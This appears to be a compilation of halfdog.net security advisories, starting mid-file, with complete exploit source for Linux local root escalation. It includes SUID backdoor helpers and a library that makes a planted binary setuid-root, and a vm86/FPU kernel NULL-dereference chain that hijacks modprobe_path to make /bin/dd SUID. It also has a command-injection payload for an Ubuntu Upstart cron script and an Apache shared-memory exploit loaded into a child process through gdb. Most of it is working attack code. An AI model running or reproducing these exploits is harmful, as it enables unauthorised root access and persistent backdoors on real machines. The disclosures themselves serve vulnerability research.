gcc -o Backdoor SuidExec.c
/bin/su
# Back to normal
./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1 /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'
--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
* given directory with symlink.
*
* Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
*
* Parameters:
* * --MoveTarget: If set, move path to that target location before
* attempting to symlink.
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
*
* Compile:
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName=NULL;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int result;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) return(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) return(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MoveTarget")) {
argPos++;
if(argPos==argc) return(1);
newDirName=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(result==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) return(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory if not already defined.
if(!newDirName) {
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
}
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
result=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, result %d, error %s\n",
callCount, result, (result<0?strerror(errno):NULL));
}
if(result<0) {
break;
}
}
return(0);
}
--- EOF ---
--- LibPam.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This library just transforms an existing file into a SUID
* binary when the library is loaded.
*
* gcc -Wall -fPIC -c LibPam.c
* ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
*/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
/** Library initialization function, called by the linker. If not
* named _init, parameter has to be set during linking using -init=name
*/
extern void _init() {
fprintf(stderr, "LibPam.c: Within _init\n");
chown("/var/lib/ntp/Backdoor", 0, 0);
chmod("/var/lib/ntp/Backdoor", 04755);
}
--- EOF ---
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/
## Introduction
Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to trigger FPU errors. Closer analysis showed, that in general, the handling of the FPU control register and unhandled FPU-exception could trigger CPU-exceptions at unexpected locations, also in ring-0 code. Key player is the emms instruction, which will fault when e.g. cr0 has bits set due to unhandled errors. This only affects kernels on some processor architectures, currently only AMD K7/K8 seems to be relevant.
## Methods
Virtual86SwitchToEmmsFault.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86SwitchToEmmsFault.c) was the first POC, that triggers kernel-panic via vm86 syscall. Depending on task layout and kernel scheduler timing, the program might just cause an OOPS without heavy side-effects on the system. OOPS might happen up to 1min after invocation, depending on the scheduler operation and which of the other tasks are using the FPU. Sometimes it causes recursive page faults, thus locking up the entire machine.
To allow reproducible tests on at least a local machine, the random code execution test tool (Virtual86RandomCode.c - http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86RandomCode.c) might be useful. It still uses the vm86-syscall, but executes random code, thus causing the FPU and task schedule to trigger a multitude of faults and to faster lock-up the system. When executed via network, executed random data can be recorded and replayed even when target machine locks up completely. Network test:
socat TCP4-LISTEN:1234,reuseaddr=1,fork=1 EXEC:./Virtual86RandomCode,nofork=1
tee TestInput < /dev/urandom | socat - TCP4:x.x.x.x:1234 > ProcessedBlocks
An improved version allows to bring the FPU into the same state without using the vm86-syscall. The key instruction is fldcw (floating point unit load control word). When enabling exceptions in one process just before exit, the task switch of two other processes later on might fail. It seems that due to that failure, the task->nsproxy ends up being NULL, thus causing NULL-pointer dereference in exit_shm during do_exit.
When the NULL-page is mapped, the NULL-dereference could be used to fake a rw-semaphore data structure. In exit_shm, the kernel attemts to down_write the semaphore, which adds the value 0xffff0001 at a user-controllable location. Since the NULL-dereference does not allow arbitrary reads, the task memory layout is unknown, thus standard change of EUID of running task is not possible. Apart from that, we are in do_exit, so we would have to change another task. A suitable target is the shmem_xattr_handlers list, which is at an address known from System.map. Usually it contains two valid handlers and a NULL value to terminate the list. As we are lucky, the value after NULL is 1, thus adding 0xffff0001 to the position of the NULL-value plus 2 will will turn the NULL into 0x10000 (the first address above mmap_min_addr) and the following 1 value into NULL, thus terminating the handler list correctly again.
The code to perform those steps can be found in FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
The modification of the shmem_xattr_handlers list is completely silent (could be a nice data-only backdoor) until someone performs a getxattr call on a mounted tempfs. Since such a file-system is mounted by default at /run/shm, another program can turn this into arbitrary ring-0 code execution. To avoid searching the process list to give EUID=0, an alternative approach was tested. When invoking the xattr-handlers, a single integer value write to another static address known from System.map (modprobe_path) will change the default modprobe userspace helper pathname from /sbin/modprobe to /tmp//modprobe. When unknown executable formats or network protocols are requested, the program /tmp//modprobe is executed as root, this demo just adds a script to turn /bin/dd into a SUID-binary. dd could then be used to modify libc to plant another backdoor there. The code to perform those steps can be found in ManipulatedXattrHandlerForPrivEscalation.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ManipulatedXattrHandlerForPrivEscalation.c).
--- Virtual86SwitchToEmmsFault.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode. Due to unhandled FPU errors,
* task switch will fail afterwards, kernel will attempt to
* kill other tasks when switching.
*
* gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
memset(realMem, 0, realMemSize);
memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem);
}
--- EOF ---
--- Virtual86RandomCode.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode.
*
* gcc -o Virtual86RandomCode Virtual86RandomCode.c
*
* Usage: ./Virtual86RandomCode < /dev/urandom > /dev/null
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
int readFully(int inputFd, void *data, int length) {
int readLength=0;
int result;
while(length) {
result=read(inputFd, data, length);
if(result<0) {
if(!readLength) readLength=result;
break;
}
readLength+=result;
length-=result;
data+=result;
}
return(readLength);
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
// Do not use stack above
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int randomFd=0;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
result=readFully(randomFd, realMem, realMemSize);
if(result!=realMemSize) {
fprintf(stderr, "Failed to read random data\n");
return(0);
}
write(1, &result, 4);
write(1, realMem, realMemSize);
while(1) {
runTest(realMem);
result=readFully(randomFd, realMem, 0x1000);
write(1, &result, 4);
write(1, realMem, result);
}
}
--- EOF ---
--- FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam maps a NULL page to exploit a kernel NULL-dereferences,
* Usually that will not work due to sane /proc/sys/vm/mmap_min_addr
* settings. An unhandled FPU error causes part of task switching
* to fail resulting in NULL-pointer dereference. This can be
* used to add 0xffff0001 to an arbitrary memory location, one
* of the entries in shmem_xattr_handlers is quite suited because
* it has a static address, which can be found in System.map.
* Another tool (ManipulatedXattrHandlerForPrivEscalation.c)
* could then be used to invoke the xattr handlers, thus giving
* local root privilege escalation.
*
* gcc -o FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
int childPid;
int sockFds[2];
int localSocketFd;
int requestCount;
int result;
// Cleanup beforehand to avoid interference from previous run
asm volatile (
"emms;"
: // output (0)
:
:
);
childPid=fork();
if(childPid>0) {
mmap((void*)0, 1<<12, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
// down_write just adds 0xffff0001 at location offset +0x6c of
// the memory address given below. shmem_xattr_handlers handlers are
// at 0xc150ae1c and contain two valid handlers, terminated by
// a NULL value. As we are lucky, the value after NULL is 1, thus
// adding 0xffff0001 shmem_xattr_handlers + 0x6c + 0xa will turn
// the NULL into 0x10000 and the following 1 into NULL, hence
// the handler list is terminated correctly again.
*((int*)0x8)=0xc150adba;
result=socketpair(AF_UNIX, SOCK_STREAM, 0, sockFds);
result=fork();
close(sockFds[result?1:0]);
localSocketFd=sockFds[result?0:1];
asm volatile (
"emms;"
: // output (0)
:
:
);
fprintf(stderr, "Playing task switch ping-pong ...\n");
// This might be too short on faster CPUs?
for(requestCount=0x10000; requestCount; requestCount--) {
result=write(localSocketFd, sockFds, 4);
if(result!=4) break;
result=read(localSocketFd, sockFds, 4);
if(result!=4) break;
asm volatile (
"fldz;"
"fldz;"
"fdivp;"
: // output (0)
:
:
);
}
close(localSocketFd);
fprintf(stderr, "Switch loop terminated\n");
// Cleanup afterwards
asm volatile (
"emms;"
: // output (0)
:
:
);
return(0);
}
usleep(10000);
// Enable FPU exceptions
asm volatile (
"fdivp;"
"fstcw %0;"
"andl $0xffc0, %0;"
"fldcw %0;"
: "=m"(result) // output (0)
:
:"%eax" // Clobbered register
);
// Terminate immediately, this seems to improve results
return(0);
}
--- EOF ---
--- ManipulatedXattrHandlerForPrivEscalation.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam prepares memory so that the manipulated shmem_xattr_handlers
* (see FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
* will be read from here, thus giving ring-0 code execution.
* To avoid fiddling with task structures, this will overwrite
* just 4 bytes of modprobe_path, which is used by the kernel
* when unknown binary formats or network protocols are requested.
* In the end, when executing an unknown binary format, the modified
* modprobe script will just turn "/bin/dd" to be SUID, e.g. to
* own libc later on.
*
* gcc -o ManipulatedXattrHandlerForPrivEscalation ManipulatedXattrHandlerForPrivEscalation.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
void *handlerPage;
int *handlerStruct;
void *handlerCode;
char *modprobeCommands="#!/bin/sh\nchmod u+s /bin/dd\n";
int result;
handlerStruct=(int*)0x10000;
handlerPage=mmap((void*)(((int)handlerStruct)&0xfffff000), 1<<12,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(handlerPage==(void*)-1) {
fprintf(stderr, "Failed to map handler page\n");
return(1);
}
fprintf(stderr, "Handler page at %p\n", handlerPage);
*handlerStruct=(int)(handlerStruct+0x10); // Prefix pointer
strcpy((char*)(handlerStruct+0x10), "system"); // Prefix value
handlerCode=(void*)(handlerStruct+0x100);
*(handlerStruct+0x2)=(int)handlerCode; // list
*(handlerStruct+0x3)=(int)handlerCode; // get
*(handlerStruct+0x4)=(int)handlerCode; // set
// Switch the modprobe helper path from /sbin to /tmp. Address is
// known from kernel version's symbols file
memcpy(handlerCode, "\xb8\xa1\x2d\x50\xc1\xc7\x00tmp/\xc3", 12);
result=getxattr("/run/shm/", "system.dont-care", handlerPage, 1);
fprintf(stderr, "Setattr result: 0x%x, error %d (%s)\n", result,
errno, strerror(errno));
result=open("/tmp/modprobe", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
write(result, modprobeCommands, strlen(modprobeCommands));
close(result);
// Create a pseudo-binary with just NULL bytes, executing it will
// trigger the binfmt module loading
result=open("/tmp/dummy", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
memset(handlerPage, 0, 1<<12);
write(result, handlerPage, 1<<12);
close(result);
*(int*)handlerPage=(int)"/tmp/dummy";
execve("/tmp/dummy", handlerPage, NULL);
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/
## Introduction
Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.
## Methods
The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:
#!/bin/sh
# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.
[ -x /sbin/initctl ] || exit 0
for session in /run/user/*/upstart/sessions/*
do
env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done
On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:
cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"
mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
Source: http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/
## Introduction
Problem description: Linux kernel binfmt_script handling in combination with CONFIG_MODULES can lead to disclosure of kernel stack data during execve via copy of data from dangling pointer to stack to growing argv list. Apart from that, the BINPRM_MAX_RECURSION can be exceeded: the maximum of 4 recursions is ignored, instead a maximum of roughly 2^6 recursions is in place.
## Method
Execution of a sequence of crafted scripts causes bprm->interp pointer to be set to data within current stack frame. When frame is left, data at location of dangling pointer can be overwritten before it is added to argv-list in next run and then exported to userspace.
## Results, Discussion
The overwrite is triggered when executables with special names handled by binfmt_script call each other until BINPRM_MAX_RECURSION is reached. During each round, load_script from fs/binfmt_script.c extracts the interpreter name for the next round and stores it within the current stack frame. The pointer to this name is also copied to bprm->interp and used during execution of the next interpreter (also a script) within search_binary_handler function. This is not problematic unless CONFIG_MODULES is also defined. When BINPRM_MAX_RECURSION is reached, load_script returns, thus leaving bprm->interp pointing to a now non-existing stack frame. Due to CONFIG_MODULES and the special interpreter name, search_binary_handler will trigger request for loading of module via request_module and invoke load_script again. The function will then append the data from dangling pointer bprm->interp to exec args, thus disclosing some kernel stack bytes. Output on 64-bit system might contain:
0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000180: 4141 4141 2d35 3600 7878 7800 ffff ffff AAAA-56.xxx.....
0000190: ffff ff7f ffff ffff ffff ff7f 809a ac1d ................
00001a0: 0078 7878 000d 6669 6c65 2d41 4141 4141 .xxx..file-AAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
Apart from memory disclosure, reaching BINPRM_MAX_RECURSION will not terminate execve call with error, but invocation of load_script is triggered more than the intended maximum of loader invocations, leading to higher CPU consumption from single call to execve.
Impact: Impact is low, since exploitation would need local code execution anyway. Only disclosure of kernel addresses when System.map is not readable seems interesting. The increased CPU load itself could be deemed unproblematic, an attacker in the same position but without this POC would need to fork more processes instead to get same load, which is quite feasable in most situations.
Affected versions: Not clear right now, bug might have been introduced recently.
Ubuntu Oneiric i386 kernel (3.0.0-24-generic): Not affected, test script does not cause excessive recursion. Not clear if bug could be triggered using other conditions.
Ubuntu precise i386 and amd64 kernel (3.2.0-29-generic): Both affected
Further analysis: It seems, that this scheme with only binfmt_elf and binfmt_script cannot lead to kernel OOPS or problematic stack writes. It could be investigated, if additional modules, e.g. binfmt_misc could open such a hole.
Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/
## Introduction
Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.
## Method
A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):
typedef struct {
int server_limit;
int thread_limit;
ap_scoreboard_e sb_type;
ap_generation_t running_generation; /* the generation of children which
* should still be serving requests.
*/
apr_time_t restart_time;
int lb_limit;
} global_score;
When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.
apr_status_t ap_cleanup_scoreboard(void *d)
{
if (ap_scoreboard_image == NULL) {
return APR_SUCCESS;
}
if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
ap_cleanup_shared_mem(NULL);
}
else {
free(ap_scoreboard_image->global);
free(ap_scoreboard_image);
ap_scoreboard_image = NULL;
}
return APR_SUCCESS;
}
Abort output is written to apache default error log:
[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367
To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:
set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue
Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.
--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
* ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern void _init() {
int fd=-1, pos;
char mmapData[1<<16];
int mmapDataLen;
char str[1024];
char* sharedSegStart=NULL;
char* sharedSegEnd=NULL;
int sharedSegLen;
int result;
fd=open("/proc/self/maps", O_RDONLY);
mmapDataLen=0;
while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
close(fd);
fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
result=sprintf(str, "Read %d\n", mmapDataLen);
write(fd, str, result);
write(fd, mmapData, mmapDataLen);
for(pos=0; pos<mmapDataLen;) {
result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
(int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
if(result==3) break;
while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
if(pos==mmapDataLen) break;
pos++;
}
result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
(int)sharedSegEnd);
write(fd, str, result);
if(pos==mmapDataLen) return;
// Set ap_scoreboard_e sb_type=3
*(int*)(sharedSegStart+0x10)=3;
exit(0);
}
--- EOF --
/*
